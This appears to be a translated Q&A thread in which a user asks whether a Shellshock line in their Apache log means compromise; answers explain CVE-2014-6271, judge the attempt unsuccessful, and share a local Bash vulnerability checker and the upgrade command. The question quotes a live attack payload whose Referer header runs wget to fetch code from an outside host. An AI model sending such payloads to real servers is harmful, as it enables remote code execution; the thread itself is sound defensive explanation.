El mensaje de error en los registros de Apache muestra / bin / bash y wget

2

Me pregunto si mi servidor está comprometido o no, simplemente miré mi registro y vi la siguiente línea allí

[Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client 207.141.124.18:59142] AH01276: Cannot serve directory /var/www/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive, referer: () { :;}; /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

Me preocupa porque veo /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

No estoy seguro de si pudieron ejecutar ese comando con éxito o no. Me doy cuenta de que es un error, pero solo quiero asegurarme.

    
pregunta Brandon 14.05.2015 - 22:53
fuente

3 respuestas

2

Este es un intento de explotar CVE-2014-6271 (si es necesario, la vulnerabilidad de "shellshock").

Su aparición en este mensaje no indica que haya tenido éxito; cualquier cliente puede incluir cualquier cadena en el encabezado Referer: y tenerla incluida en los registros aquí.

El intento no tuvo éxito en este caso específico, porque el mensaje de registro le indica que no había ningún script presente en la URL de destino / , por lo que no había nada que hubiera evaluado el código. Sin embargo, debes asumir que este y otros bots también están llegando a otras URL.

Si su servidor ha sido actualizado con parches de seguridad desde que salió CVE-2014-6271, está bien.

    
respondido por el bobince 14.05.2015 - 23:33
fuente
2

Parece que alguien está tratando de usar shellshock Vulnerabilidad que fue descubierta recientemente en el shell bash. La clave que se entrega es la parte del registro que dice:

referer: () { :;}; /bin/bash

Lo que el atacante (o el participante desconocido) ha hecho es configurar el encabezado de referencia de http de su navegador web a todo lo que ve después de la palabra "referencia" en su registro. Si su servidor es vulnerable, () { :;}; hará que todo lo que lo sigue se ejecute. Esto podría ocurrir si una secuencia de comandos CGI se ejecuta en una máquina con una versión sin parchar de bash, y donde esa secuencia de comandos usa la variable referer .

    
respondido por el user56893 14.05.2015 - 23:33
fuente
0

Tengo el mismo caso, para comprobar si su servidor es vulnerable a ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

exit $EXITCODE

Esa forma de actualizar el bash soluciona este problema:

sudo apt-get update && sudo apt-get install --only-upgrade bash
    
respondido por el Garistar 08.06.2015 - 21:06
fuente

Lea otras preguntas en las etiquetas